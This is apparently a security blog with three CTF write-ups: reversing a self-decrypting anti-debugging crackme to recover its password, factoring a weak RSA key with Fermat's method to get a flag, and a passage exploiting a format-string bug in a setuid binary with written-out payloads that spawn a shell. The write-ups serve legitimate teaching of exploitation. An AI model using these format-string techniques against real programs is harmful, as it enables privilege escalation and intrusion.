Friday, May 31, 2013

Defeating anti-debugging techniques using IDA and x86 emulator plugin

Recently I was trying to reverse a small crackme by Tosh. The challenge was to find a password by reversing the binary, bypassing the anti-debugging techniques used. Below is some data about the binary.
[ctf@renorobert chall]$ file ch13
ch13: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
[ctf@renorobert chall]$ ./ch13
Enter the password: reno
Bad password, sorry !
[ctf@renorobert chall]$ strace -i ./ch13
[      38b7aa6dd7] execve("./ch13", ["./ch13"], [/* 48 vars */]) = 0
[ Process PID=5359 runs in 32 bit mode. ]
[         8048074] signal(SIGTRAP, 0x80480e2) = 0 (SIG_DFL)
[         8048078] --- SIGTRAP (Trace/breakpoint trap) @ 0 (0) ---
[        f77f3408] sigreturn()          = 0
[         804808c] signal(SIGTRAP, 0x8048194) = 0 (SIG_DFL)
[         8048090] --- SIGTRAP (Trace/breakpoint trap) @ 0 (0) ---
[        f77f3408] sigreturn()          = 0
[         80480a4] signal(SIGTRAP, 0x8048104) = 0 (SIG_DFL)
[         80480a8] --- SIGTRAP (Trace/breakpoint trap) @ 0 (0) ---
[         80481d4] write(1, "Enter the password: ", 20Enter the password: ) = 20
[         80481dc] read(0, reno
"reno\n", 128) = 5
[        f77f3408] sigreturn()          = 0
[         80480bc] signal(SIGTRAP, 0x8048138) = 0 (SIG_DFL)
[         80480c0] --- SIGTRAP (Trace/breakpoint trap) @ 0 (0) ---
[        f77f3408] sigreturn()          = 0
[         80480d4] signal(SIGTRAP, 0x8048149) = 0 (SIG_DFL)
[         80480d8] --- SIGTRAP (Trace/breakpoint trap) @ 0 (0) ---
[         80481d4] write(1, "Bad password, sorry !\n", 22Bad password, sorry !
) = 22
[         80481e4] _exit(1)             = ?
Here is the disassembly in IDA
.text:08048060 ; Segment type: Pure code
.text:08048060 ; Segment permissions: Read/Execute
.text:08048060 _text        segment para public 'CODE' use32
.text:08048060         assume cs:_text
.text:08048060         ;org 8048060h
.text:08048060         assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
.text:08048060
.text:08048060 ; =============== S U B R O U T I N E =======================================
.text:08048060
.text:08048060 ; Attributes: noreturn
.text:08048060
.text:08048060         public start
.text:08048060 start        proc near
.text:08048060         jmp     short loc_8048063
.text:08048060 ; ---------------------------------------------------------------------------
.text:08048062         db 0E8h
.text:08048063 ; ---------------------------------------------------------------------------
.text:08048063
.text:08048063 loc_8048063:          
.text:08048063         mov     eax, 30h
.text:08048068         mov     ebx, 5
.text:0804806D         mov     ecx, offset sub_80480E2
.text:08048072         int     80h        ; LINUX - sys_signal
.text:08048074         jmp     short loc_8048077
.text:08048074 ; ---------------------------------------------------------------------------
.text:08048076         db 0CEh
.text:08048077 ; ---------------------------------------------------------------------------
.text:08048077
.text:08048077 loc_8048077:         
.text:08048077         int     3        ; Trap to Debugger
.text:08048078         jmp     short loc_804807B
.text:08048078 ; ---------------------------------------------------------------------------
.text:0804807A         db 0EBh
.text:0804807B ; ---------------------------------------------------------------------------
.text:0804807B
.text:0804807B loc_804807B:         
.text:0804807B         mov     eax, 30h
.text:08048080         mov     ebx, 5        ; signo
.text:08048085         mov     ecx, offset dword_8048194
.text:0804808A         int     80h        ; LINUX - sys_signal
.text:0804808C         jmp     short loc_804808F
.text:0804808C ; ---------------------------------------------------------------------------
.text:0804808E         db 0E8h
.text:0804808F ; ---------------------------------------------------------------------------
.text:0804808F
.text:0804808F loc_804808F:          
.text:0804808F         int     3        ; Trap to Debugger
.text:08048090         jmp     short loc_8048093
.text:08048090 ; ---------------------------------------------------------------------------
.text:08048092         db 0CEh
.text:08048093 ; ---------------------------------------------------------------------------
.text:08048093
.text:08048093 loc_8048093:         
.text:08048093         mov     eax, 30h
.text:08048098         mov     ebx, 5        ; signo
.text:0804809D         mov     ecx, offset dword_8048104
.text:080480A2         int     80h        ; LINUX - sys_signal
.text:080480A4         jmp     short loc_80480A7
.text:080480A4 ; ---------------------------------------------------------------------------
.text:080480A6         db 0EBh
.text:080480A7 ; ---------------------------------------------------------------------------
.text:080480A7
.text:080480A7 loc_80480A7:          
.text:080480A7         int     3        ; Trap to Debugger
.text:080480A8         jmp     short loc_80480AB
.text:080480A8 ; ---------------------------------------------------------------------------
.text:080480AA         db 0E8h
.text:080480AB ; ---------------------------------------------------------------------------
.text:080480AB
.text:080480AB loc_80480AB:          
.text:080480AB         mov     eax, 30h
.text:080480B0         mov     ebx, 5        ; signo
.text:080480B5         mov     ecx, offset dword_8048138
.text:080480BA         int     80h        ; LINUX - sys_signal
.text:080480BC         jmp     short loc_80480BF
.text:080480BC ; ---------------------------------------------------------------------------
.text:080480BE         db 0CEh
.text:080480BF ; ---------------------------------------------------------------------------
.text:080480BF
.text:080480BF loc_80480BF:          
.text:080480BF         int     3        ; Trap to Debugger
.text:080480C0         jmp     short loc_80480C3
.text:080480C0 ; ---------------------------------------------------------------------------
.text:080480C2         db 0EBh
.text:080480C3 ; ---------------------------------------------------------------------------
.text:080480C3
.text:080480C3 loc_80480C3:          
.text:080480C3         mov     eax, 30h
.text:080480C8         mov     ebx, 5        ; signo
.text:080480CD         mov     ecx, offset byte_8048149
.text:080480D2         int     80h        ; LINUX - sys_signal
.text:080480D4         jmp     short loc_80480D7
.text:080480D4 ; ---------------------------------------------------------------------------
.text:080480D6         db 0E8h
.text:080480D7 ; ---------------------------------------------------------------------------
.text:080480D7
.text:080480D7 loc_80480D7:          
.text:080480D7         int     3        ; Trap to Debugger
.text:080480D8         jmp     short loc_80480DB
.text:080480D8 ; ---------------------------------------------------------------------------
.text:080480DA         db 0E8h
.text:080480DB ; ---------------------------------------------------------------------------
.text:080480DB
.text:080480DB loc_80480DB:          
.text:080480DB         mov     eax, 1
.text:080480E0         int     80h        ; LINUX - sys_exit
.text:080480E0 start        endp
.text:080480E0
.text:080480E2
.text:080480E2 ; =============== S U B R O U T I N E =======================================
.text:080480E2
.text:080480E2
.text:080480E2 sub_80480E2     proc near        
.text:080480E2         mov     eax, offset dword_8048104
.text:080480E7         jmp     short loc_8048101
.text:080480E9 ; ---------------------------------------------------------------------------
.text:080480E9
.text:080480E9 loc_80480E9:         
.text:080480E9            
.text:080480E9         cmp     eax, 80482E8h
.text:080480EE         jz      short locret_8048103
.text:080480F0         jmp     short loc_80480F3
.text:080480F0 ; ---------------------------------------------------------------------------
.text:080480F2         db 0E8h
.text:080480F3 ; ---------------------------------------------------------------------------
.text:080480F3
.text:080480F3 loc_80480F3:          
.text:080480F3         xor     dword ptr [eax], 8048FC1h
.text:080480F9         add     eax, 4
.text:080480FC         jmp     short loc_80480FF
.text:080480FC ; ---------------------------------------------------------------------------
.text:080480FE         db 0EBh
.text:080480FF ; ---------------------------------------------------------------------------
.text:080480FF
.text:080480FF loc_80480FF:          
.text:080480FF         jmp     short loc_80480E9
.text:08048101 ; ---------------------------------------------------------------------------
.text:08048101
.text:08048101 loc_8048101:          
.text:08048101         jmp     short loc_80480E9
.text:08048103 ; ---------------------------------------------------------------------------
.text:08048103
.text:08048103 locret_8048103:          
.text:08048103         retn
.text:08048103 sub_80480E2     endp
.text:08048103
.text:08048103 ; ---------------------------------------------------------------------------
.text:08048104 dword_8048104   dd 8048E7Ah, 8A3936C1h, 1CBE87C5h, 0E0048FC1h, 8048F74h
.text:08048104         dd 8048F7Ah, 8A5536C1h, 88BE87C5h, 0E0048FC1h, 8048F68h
.text:08048104         dd 0C86DE7Ah, 43C78EC9h, 0CB048C07h
.text:08048138 dword_8048138   dd 0C86DE79h, 83C0FC9h, 388489B5h, 0FDEFCF3Dh
.text:08048148         db 2
.text:08048149 byte_8048149    db 37h, 55h, 8Ah        
.text:0804814C         dd 0D9BF87C5h, 820C8B43h, 7D0FB5C9h, 8FD0FC8h, 4B4492B5h
.text:0804814C         dd 9BF7E2Ah, 0B1048FC1h, 0DC6h, 804997Bh, 85367C1h, 6AEC8FC1h
.text:0804814C         dd 0B3048FC1h, 8048FC0h, 0C856B78h, 82735C9h, 36EC8FC1h
.text:0804814C         dd 0E0048FC1h, 8048F88h
.text:08048194 dword_8048194   dd 68BF4FF0h, 890C8B41h, 0C866B3Ah, 3B03FBC9h, 0CC70CC2h
.text:08048194         dd 0ECBF7E2Ah, 330C8B43h, 0B31DFBC2h, 8048FC0h, 0C869278h
.text:08048194         dd 82435C9h, 0EEC8FC1h, 0E0048FC1h, 8048FD0h, 8003702h
.text:08048194         dd 88C98FC1h, 8073702h, 88C98FC1h, 8053702h, 88C98FC1h
.text:08048194         dd 7C65FD86h, 7C24A3BBh, 2877E6A9h, 7C24FCA8h, 6F24EAA9h
.text:08048194         dd 2860E0AEh, 7B77EEB1h, 6C76E0B6h, 4A0EAEE1h, 7824EBA0h
.text:08048194         dd 7F77FCA0h, 2460FDAEh, 7A6BFCE1h, 2924F6B3h, 4151DECBh
.text:08048194         dd 2825AF95h, 6B61F784h, 6A65FBB4h, 6124EAADh, 6769AFB2h
.text:08048194         dd 6162E6A5h, 2924EBA4h, 7C6ACACBh, 7C24FDA4h, 7824EAA9h
.text:08048194         dd 7F77FCA0h, 3260FDAEh, 8048FE1h, 1Fh dup(8048FC1h), 95CB2AC1h
.text:08048194         dd 0BC8C5275h, 0A7912054h, 9FCB3B49h, 8D90A78h, 765EE0CBh
.text:08048194 _text        ends
.text:08048194
.text:08048194
.text:08048194         end start
From 0x08048104, the program appears as data instead of code. This part of program is protected against static analysis. First, lets figure out the de-obfuscation algorithm becuase it looks more like a self-modifying binary.

This is what the binary does to call the de-obfuscation routine:
.text:08048063         mov     eax, 30h         ; signal
.text:08048068         mov     ebx, 5   ; SIGTRAP 
.text:0804806D         mov     ecx, 0x080480E2  ; handler - de-obfuscation routine
.text:08048072         int     80h         ; LINUX - sys_signal
.text:08048077         int     3
Analysing the instructions at 0x080480E2, we can find the de-obfuscation routine:
mov eax, 0x08048104
;loop
    cmp eax, 0x080482e8
    if equal:
        ret
    else:
        xor [eax], 0x08048fc1
        add eax, 4
Bytes between 0x08048104 and 0x080482e4 is xor'ed with 0x08048fc1 to generate new sequence of instructions. Below is the permissions on the binary, 0x08048000-0x08049000 has read, write and execute permissions
(gdb) info target
Symbols from "/Windows/E/Desktop_Recent/Recent/chall/ch13".
Unix child process:
 Using the running image of child process 19533.
 While running this, GDB does not access memory from...
Local exec file:
 `/Windows/E/Desktop_Recent/Recent/chall/ch13', file type elf32-i386.
 Entry point: 0x8048060
 0x08048060 - 0x080482e8 is .text
(gdb) shell cat /proc/19533/maps 
08048000-08049000 rwxp 00000000 08:05 190663                             /Windows/E/Desktop_Recent/Recent/chall/ch13
f7ffd000-f7ffe000 r-xp 00000000 00:00 0                                  [vdso]
fffe9000-ffffe000 rwxp 00000000 00:00 0                                  [stack]
Now we can convert the bytes to valid instructions since we know de-obfuscation routine. Interestingly I came across x86 Emulator plugin for IDA . Using this I was able to step through the code and convert the bytes to valid assembly instructions


This is how the bytes look after the de-obfuscation process ie after running under x86 emulator plugin
.text:08048104 dword_8048104   dd 1BBh, 823DB900h, 14BA0804h, 0E8000000h, 0B5h, 0BBh
.text:08048104         dd 8251B900h, 80BA0804h, 0E8000000h, 0A9h, 48251BBh, 4BC30108h
.text:08048104         dd 0C30003C6h
.text:08048138 dword_8048138   dd 48251B8h, 388008h, 30800674h, 0F5EB40FCh
.text:08048148         db 0C3h
.text:08048149 byte_8048149    db 0B8h, 51h, 82h       
.text:0804814C         dd 0D1BB0804h, 8A080482h, 750B3A08h, 0F98009h, 43401D74h
.text:0804814C         dd 1BBF1EBh, 0B9000000h, 8048207h, 16BAh, 57E800h, 62E80000h
.text:0804814C         dd 0BB000000h, 1, 481E4B9h, 23BA08h, 3EE80000h, 0E8000000h
.text:0804814C         dd 49h
.text:08048194 dword_8048194   dd 60BBC031h, 81080480h, 482E4FBh, 33077408h, 4C38303h
.text:08048194         dd 0E4BBF1EBh, 3B080482h, 0BB197403h, 1, 4821DB9h, 20BA08h
.text:08048194         dd 6E80000h, 0E8000000h, 11h, 4B8C3h, 80CD0000h, 3B8C3h
.text:08048194         dd 80CD0000h, 1B8C3h, 80CD0000h, 74617247h, 74202C7Ah
.text:08048194         dd 20736968h, 74207369h, 67206568h, 20646F6Fh, 73736170h
.text:08048194         dd 64726F77h, 420A2120h, 70206461h, 77737361h, 2C64726Fh
.text:08048194         dd 726F7320h, 21207972h, 4955510Ah, 20212054h, 63657845h
.text:08048194         dd 62617475h, 6920656Ch, 6F6D2073h, 69666964h, 21206465h
.text:08048194         dd 746E450Ah, 74207265h, 70206568h, 77737361h, 3A64726Fh
.text:08048194         dd 20h, 1Fh dup(0), 9DCFA500h, 0B488DDB4h, 0AF95AF95h
.text:08048194         dd 97CFB488h, 0DD85B9h, 7E5A6F0Ah
.text:080482E8         align 1000h
.text:080482E8 _text        ends
Convert these bytes to instructions using IDA's Analyse selected area option.


.text:08048104 loc_8048104:          
.text:08048104            
.text:08048104         mov     ebx, 1
.text:08048109         mov     ecx, offset aEnterThePasswo ; "Enter the password: "
.text:0804810E         mov     edx, 14h
.text:08048113         call    sub_80481CD
.text:08048118         mov     ebx, 0
.text:0804811D         mov     ecx, 8048251h
.text:08048122         mov     edx, 80h
.text:08048127         call    sub_80481D5
.text:0804812C         mov     ebx, 8048251h
.text:08048131         add     ebx, eax
.text:08048133         dec     ebx
.text:08048134         mov     byte ptr [ebx], 0
.text:08048137         retn
.text:08048138 ; ---------------------------------------------------------------------------
.text:08048138
.text:08048138 loc_8048138:          
.text:08048138         mov     eax, 8048251h
.text:0804813D
.text:0804813D loc_804813D:          
.text:0804813D         cmp     byte ptr [eax], 0
.text:08048140         jz      short locret_8048148
.text:08048142         xor     byte ptr [eax], 0FCh
.text:08048145         inc     eax
.text:08048146         jmp     short loc_804813D
.text:08048148 ; ---------------------------------------------------------------------------
.text:08048148
.text:08048148 locret_8048148:          
.text:08048148         retn
.text:08048149 ; ---------------------------------------------------------------------------
.text:08048149
.text:08048149 loc_8048149:          
.text:08048149         mov     eax, 8048251h
.text:0804814E         mov     ebx, offset aEAIXpxpiCE
.text:08048153
.text:08048153 loc_8048153:          
.text:08048153         mov     cl, [eax]
.text:08048155         cmp     cl, [ebx]
.text:08048157         jnz     short loc_8048162
.text:08048159         cmp     cl, 0
.text:0804815C         jz      short loc_804817B
.text:0804815E         inc     eax
.text:0804815F         inc     ebx
.text:08048160         jmp     short loc_8048153
.text:08048162 ; ---------------------------------------------------------------------------
.text:08048162
.text:08048162 loc_8048162:          
.text:08048162         mov     ebx, 1
.text:08048167         mov     ecx, (offset loc_8048206+1)
.text:0804816C         mov     edx, 16h
.text:08048171         call    sub_80481CD
.text:08048176         call    sub_80481DD
.text:0804817B ; ---------------------------------------------------------------------------
.text:0804817B
.text:0804817B loc_804817B:          
.text:0804817B         mov     ebx, 1
.text:08048180         mov     ecx, offset loc_80481E4
.text:08048185         mov     edx, 23h
.text:0804818A         call    sub_80481CD
.text:0804818F         call    sub_80481DD
.text:08048194 ; ---------------------------------------------------------------------------
.text:08048194
.text:08048194 loc_8048194:          
.text:08048194         xor     eax, eax
.text:08048196         mov     ebx, offset start
.text:0804819B
.text:0804819B loc_804819B:          
.text:0804819B         cmp     ebx, offset loc_80482E4
.text:080481A1         jz      short loc_80481AA
.text:080481A3         xor     eax, [ebx]
.text:080481A5         add     ebx, 4
.text:080481A8         jmp     short loc_804819B
.text:080481AA ; ---------------------------------------------------------------------------
.text:080481AA
.text:080481AA loc_80481AA:          
.text:080481AA         mov     ebx, offset loc_80482E4
.text:080481AF         cmp     eax, [ebx]
.text:080481B1         jz      short locret_80481CC
.text:080481B3         mov     ebx, 1
.text:080481B8         mov     ecx, offset loc_804821D
.text:080481BD         mov     edx, 20h
.text:080481C2         call    sub_80481CD
.text:080481C7         call    sub_80481DD
.text:080481CC ; ---------------------------------------------------------------------------
.text:080481CC
.text:080481CC locret_80481CC:          
.text:080481CC         retn
.text:080481CD
.text:080481CD ; =============== S U B R O U T I N E =======================================
.text:080481CD
.text:080481CD
.text:080481CD sub_80481CD     proc near        
.text:080481CD            
.text:080481CD         mov     eax, 4
.text:080481D2         int     80h        ; LINUX - sys_write
.text:080481D4         retn
.text:080481D4 sub_80481CD     endp
.text:080481D4
.text:080481D5
.text:080481D5 ; =============== S U B R O U T I N E =======================================
.text:080481D5
.text:080481D5
.text:080481D5 sub_80481D5     proc near        
.text:080481D5         mov     eax, 3
.text:080481DA         int     80h        ; LINUX - sys_read
.text:080481DC         retn
.text:080481DC sub_80481D5     endp
.text:080481DC
.text:080481DD
.text:080481DD ; =============== S U B R O U T I N E =======================================
.text:080481DD
.text:080481DD ; Attributes: noreturn
.text:080481DD
.text:080481DD sub_80481DD     proc near       
.text:080481DD            
.text:080481DD         mov     eax, 1
.text:080481E2         int     80h        ; LINUX - sys_exit
.text:080481E2 sub_80481DD     endp
After analysing the instructions, the address range from 0x080481e4 to 0x0804823d looks more like data. Undefine this range and convert it to string using IDA


.text:080481E4 aGratzThisIsThe db 'Gratz, this is the good password !',0Ah
.text:080481E4                 db 'Bad password, sorry !',0Ah
.text:080481E4                 db 'QUIT ! Executable is modified !',0Ah
.text:080481E4                 db 'Enter the password: '
Hardcoded bytes at 0x080482d1
.text:080482D1 unk_80482D1     db 0A5h 
.text:080482D2                 db 0CFh 
.text:080482D3                 db  9Dh 
.text:080482D4                 db 0B4h 
.text:080482D5                 db 0DDh 
.text:080482D6                 db  88h
.text:080482D7                 db 0B4h 
.text:080482D8                 db  95h
.text:080482D9                 db 0AFh
.text:080482DA                 db  95h 
.text:080482DB                 db 0AFh
.text:080482DC                 db  88h 
.text:080482DD                 db 0B4h
.text:080482DE                 db 0CFh
.text:080482DF                 db  97h
.text:080482E0                 db 0B9h
.text:080482E1                 db  85h
.text:080482E2                 db 0DDh 
.text:080482E3                 db    0
Below is the function of binary:
mov eax, 0x30
mov ebx, 0x5
mov ecx, 0x080480e2
int 0x80

; 0x080480e2   ; De-obfuscation routine
mov eax, 0x08048104
;loop
    cmp eax, 0x080482e8
    if equal:
        ret
    else:
        xor [eax], 0x08048fc1
        add eax, 4

mov eax, 0x30
mov ebx, 0x5
mov ecx, 0x08048194
int 0x80

; 0x08048194   ; Verification routine
xor eax, eax
mov ebx, 0x08048060
; loop
    cmp ebx, 0x080482e4
    if equal:        
        mov ebx, 0x080482e4
        cmp eax, [ebx]
        if equal:
            ret
        else:
            mov ebx, 1 
            mov ecx, 0x0804821d
            mov edx, 0x20
            call write  ; QUIT ! Executable is modified !
            call exit
    xor eax, [ebx]
    add ebx,4


mov eax, 0x30
mov ebx, 0x5
mov ecx, 0x08048104
int 0x80

; 0x08048104   ; Accept password routine
mov ebx, 1
mov ecx, "Enter the password: "
mov edx, 0x14
call write

mov ebx, 0
mov ecx, 0x08048251
mov edx, 0x80
call read
mov ebx, 0x08048251
add ebx, eax
dec ebx
mov [ebx], 0x0 ; NUL terminate
ret

mov eax, 0x30
mov ebx, 0x5
mov ecx, 0x08048138
int 0x80

; 0x08048138
mov eax, 0x08048251
; loop
    cmp byte ptr [eax], 0
    if equal:
        ret
    xor byte ptr [eax], 0x0fc
    inc eax

mov eax, 0x30   ; Verify password routine
mov ebx, 0x5
mov ecx, 0x08048149
int 0x80

; 0x08048149
mov eax, 0x08048251  ; User input after xor
mov ebx, 0x080482d1  ; Hard coded bytes
; loop
    mov cl, [eax]
    cmp cl, [ebx]
    jnz 0x08048162  ; Bad password, sorry !
    cmp cl, 0
    jz 0x0804817b  ; Gratz, this is the good password !
    inc eax
    inc ebx
I wrote a simple python script to find the valid password.
#!/usr/bin/env python

bytes = [0xa5, 0xcf, 0x9d, 0xb4, 0xdd, 0x88, 0xb4, 0x95, 0xaf, 0x95, 0xaf, 0x88, 0xb4, 0xcf, 0x97, 0xb9, 0x85, 0xdd]
key = 0xfc
password = ''

for i in bytes:
    password += chr(i ^ key)
print password
[ctf@renorobert chall]$ python ch13.py 
Y3aH!tHiSiStH3kEy!
[ctf@renorobert chall]$ ./ch13
Enter the password: Y3aH!tHiSiStH3kEy!
Gratz, this is the good password !
Using GDB
To analyse the binary under gdb pass the SIGTRAP to the process
[ctf@renorobert chall]$ gdb -q ./ch13
Reading symbols from /Windows/E/Desktop_Recent/Recent/chall/ch13...(no debugging symbols found)...done.
(gdb) handle SIGTRAP pass
SIGTRAP is used by the debugger.
Are you sure you want to change it? (y or n) y
Signal        Stop Print Pass to program Description
SIGTRAP       Yes Yes Yes  Trace/breakpoint trap
Now the binary will execute normally as we run it outside debugger.

Using GDBserver
[ctf@renorobert chall]$ gdbserver --remote-debug 127.0.0.1:6666 ./ch13
Process ./ch13 created; pid = 4833
Listening on port 6666
Now use remote debugger option in IDA and attach to the process. Now after the de-obfuscation routine is called, we can inspect the memory and convert the raw bytes to instructions using IDA Analyze selected area option.


Its fun trying to analyse binaries of this kind!

Monday, May 13, 2013

Balt CTF 2013 - Crypto 300 RSA - [Team xbios]

For this challenge, public key (e, n) and cipher text (c) is given. We have to find the hex(plain text), which is our flag. With the given data, the first attack that came to mind was to factorize the modulus (n). Fermat's factorization method worked out for us. With (p) and (q) values revealed, we can compute the private key exponent (d) and decrypt the cipher text. Computation was done using sage
sage: e = 0x10001
sage: n = 0x59b7f3a0a6bd10811b05473deb94ae35f84163652e408372ab86cdcb24f21873603ce29059cc9f261b1d5b7cb02221deedc8eb289c8086f797b5bd0be456c249962fecf9faf9846eb91be1ca17234b4e981fb0bc58d2dd97b7124014a0d10a876a57b2dd8a9d9b8ce95998143aa009fa91657864f819883a31d53fcf30d517ded93aae7895a44bf1576d0aa1694f50481504e184b499ad7805974a910a0e31f080eeea700504a8606b0c888f728a543f944334cc72dcb1b1402471c2e7473dbc0ff2743928df51daf2fa3b954c76b4ff95510df1

sage: c = 0x53da088f69a0c11b11f458e9ec6d89034c3b523d7389221dccec4df09f3dcb6fcd92afb29e2ba7d623525c97604a95ac0b16116bae0545cb9d6608d2c1f6712e5acd1b9e1ebf6e4778c7467d2394bd347dff08b2f41f9cd00c31898641daf4fab519a531112f3b2dd87ef1711992871cfc5168c2dab19dee0d645fc8af560d851eb5c87c5a3038fa84ef7f1bde1df4c766b85a10f3ae888ddef4368684b08674382cd41522485f13dce522080f28f9936c5482cf69f96c51f6d1354f265eb2c334b96b9fb114cdb626c6bbeecaaa9ea5d0b072af

sage: a = ceil(sqrt(n))  # Fermat's factorization
sage: b = (a*a) - n
sage: while not b.is_square():
....:     a = a + 1
....:     b = (a * a) - n
....:     
sage: a - sqrt(b)
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111178333333333334444487294872309872209128742098742420984723982734329843732987178261897634983473987323987439874932873402398720978429874230987340298723097527
sage: a + sqrt(b)
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111178333333333334444487294872309872209128742098742420984723982734329843732987178261897634983473987323987439874932873402398720978429874230987340298723103639

# The two primes are close to each other

sage: p = a - sqrt(b)
sage: q = a + sqrt(b)
sage: phi_n = (p-1) * (q-1)
sage: d = inverse_mod(e, phi_n) # d is multiplicative inverse of e in phi(n)
sage: d
954337922767969916908684322511626172153813028433471847116048101750834558256320009222949546736110051489265793707710489453529078417995956007435026641927114607256687547284882784003724373712426598639807261395269322730689854325793227045289600093508768321130231092684779871351143961963991606200867096255924369283753459133254468784782317092964170117014480277377749896360826708246366013560507323222994034704551754940109682559173621578143499090359492462527474301373854713937148548729916280548630343340454397431053024437

sage: m = Mod(c, n) ^ d         # m = (c ^ d) mod n
sage: c == Mod(m, n) ^ e
True
sage: m
15056585307564100396433190076676958000692809023067706122001961903801830300386286
sage: hex(15056585307564100396433190076676958000692809023067706122001961903801830300386286)
'8207fd4917aa8d07ed9b1bfa9cc2dc7803b848edefa1c2dc7803e97822696b03ee'
Flag for the challenge is : 8207fd4917aa8d07ed9b1bfa9cc2dc7803b848edefa1c2dc7803e97822696b03ee

Sunday, May 5, 2013

Volga CTF Quals 2013 - Exploitation 200

For this challenge we got a x86-64 setuid binary. I couldnt finish the challenge in time, during the contest. Here is a write up on solving the challenge. We have to exploit a format string vulnerability in the x86-64 ELF binary. This is what the binary does

[*] While True
[*] A buffer space of 512 bytes is initialised to NULL
[*] fgets(buffer, 511, stdin) is used to get the user input
[*] printf(buffer) is called, resulting in a format string vulnerability
[*] A series of computations are made using the value of variable "cycle" which is set to NULL initially
[*] If the computations succeed, system("exec /bin/sh") is called. Else the loop continues from beginning

Important section of the binary:
   0x0000000000400630 <+28>: nop     # while 1
   0x0000000000400631 <+29>: lea    rsi,[rbp-0x210]
   0x0000000000400638 <+36>: mov    eax,0x0
   0x000000000040063d <+41>: mov    edx,0x40    # 64
   0x0000000000400642 <+46>: mov    rdi,rsi
   0x0000000000400645 <+49>: mov    rcx,rdx
   0x0000000000400648 <+52>: rep stos QWORD PTR es:[rdi],rax  # initialize 512 bytes of memory [rbp-0x210] to NULL
   0x000000000040064b <+55>: mov    rax,QWORD PTR [rip+0x2009e6]  # 0x601038 ;stdin
   0x0000000000400652 <+62>: mov    rdx,rax
   0x0000000000400655 <+65>: lea    rax,[rbp-0x210]
   0x000000000040065c <+72>: mov    esi,0x1ff   
   0x0000000000400661 <+77>: mov    rdi,rax
   0x0000000000400664 <+80>: call   0x400510 <fgets@plt> # fgets([rbp-0x210], 511, stdin)
   0x0000000000400669 <+85>: lea    rax,[rbp-0x210]
   0x0000000000400670 <+92>: movzx  eax,BYTE PTR [rax]
   0x0000000000400673 <+95>: test   al,al    
   0x0000000000400675 <+97>: jne    0x400681 <main+109>
   0x0000000000400677 <+99>: mov    edi,0xffffffff
   0x000000000040067c <+104>: call   0x400520 <exit@plt>
   0x0000000000400681 <+109>: lea    rax,[rbp-0x210]
   0x0000000000400688 <+116>: mov    rdi,rax
   0x000000000040068b <+119>: mov    eax,0x0
   0x0000000000400690 <+124>: call   0x4004f0 <printf@plt> # printf([rbp-0x210]) ; format string vulnerability
   0x0000000000400695 <+129>: mov    eax,DWORD PTR [rip+0x2009b5] # 0x601050 <cycle>==NULL
   0x000000000040069b <+135>: and    eax,0xffff      
   0x00000000004006a0 <+140>: mov    DWORD PTR [rbp-0x218],eax
   0x00000000004006a6 <+146>: mov    eax,DWORD PTR [rip+0x2009a4] # 0x601050 <cycle>
   0x00000000004006ac <+152>: shr    eax,0x10       
   0x00000000004006af <+155>: mov    DWORD PTR [rbp-0x214],eax
   0x00000000004006b5 <+161>: mov    eax,DWORD PTR [rbp-0x218]
   0x00000000004006bb <+167>: mov    edx,eax
   0x00000000004006bd <+169>: imul   edx,DWORD PTR [rbp-0x218]
   0x00000000004006c4 <+176>: mov    eax,DWORD PTR [rbp-0x214]
   0x00000000004006ca <+182>: imul   eax,DWORD PTR [rbp-0x214]
   0x00000000004006d1 <+189>: imul   eax,eax,0xffffffffffffffe3 
   0x00000000004006d4 <+192>: add    eax,edx
   0x00000000004006d6 <+194>: cmp    eax,0x1
   0x00000000004006d9 <+197>: jne    0x400630 <main+28> # else break
   0x00000000004006df <+203>: mov    edi,0x4007dc
   0x00000000004006e4 <+208>: call   0x4004e0 <system@plt>    # system("exec /bin/sh")
   0x00000000004006e9 <+213>: jmp    0x400630 <main+28>

To exploit the binary:

[*] Find the value of cycle variable, to break the loop and execute system()
[*] Write this value into the cycle variable using the format string bug.

First find the value of cycle variable. A simple script can bruteforce this value. The value was found to be 1.
#!/usr/bin/env python
# 200.py

for i in range(10000):
   val1 = i & 0xffff
   val2 = i >> 0x10
   edx = val1 * val1
   eax = val2 * val2
   eax = eax * -29
   eax = eax + edx
   if eax == 1 :
       print i
Now, we have to write 1 into the memory location 0x601050 (&cycle). Lets try this using format string vulnerability
renorobert@renorobert:~/Desktop$ echo -ne '%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx' | ./expl200
7f72ab59b000.7f72ab377ac0.7fffd2f54980.7871252e7871252e.0.7fffd2f54b30.1.2e7871252e787125.2e7871252e78712
We can reach our buffer containing format string in 8 QWORDs. There are few things that we should note

[*] Payload has to be aligned in 8 bytes(QWORD)
[*] fgets() can read NUL bytes and stops reading only with new line or EOF
[*] Piping data into the binary will not give an interactive shell

Now lets pass the address and try writing data into the location
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qxAA\x50\x10\x60' | ./expl200
|601050AAP `
"|%9$qxAA" is 8 bytes of data, byte aligned to QWORD. 9th QWORD has the adress of destination to overwrite
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' | ltrace -i ./expl200
[0x400559] __libc_start_main(0x400614, 1, 0x7fffaa066828, 0x4006f0, 0x400780 <unfinished ...>
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = 0x7fffaa066530
[0x400695] printf("|%9$qnAAP\020`", 0x7fcbe7f1e000)             = 6
[0x4006e9] system("exec /bin/sh" <unfinished ...>
[0x7fcbe79766e0] --- SIGCHLD (Child exited) ---
[0x4006e9] <... system resumed> )                               = 0
[0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0)              = NULL
[0x400681] exit(-1|AAP ` <unfinished ...>
[0xffffffffffffffff] +++ exited (status 255) +++

renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' |  ./expl200
|AAP `
We have managed to execute system() function but there is no interactive shell. To overcome this, we will use cat command. fgets has to be terminated with newline '\n'
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60';cat) |  ./expl200

id
Segmentation fault
This is because, the newline 0x0a is written along with the address. So the address becomes 0x0a601050 instead of 0x601050. We will pad the address 0x601050 with 5 bytes of NUL to get a QWORD alignment. Now the new line 0x0a will be written into the 3rd QWORD.
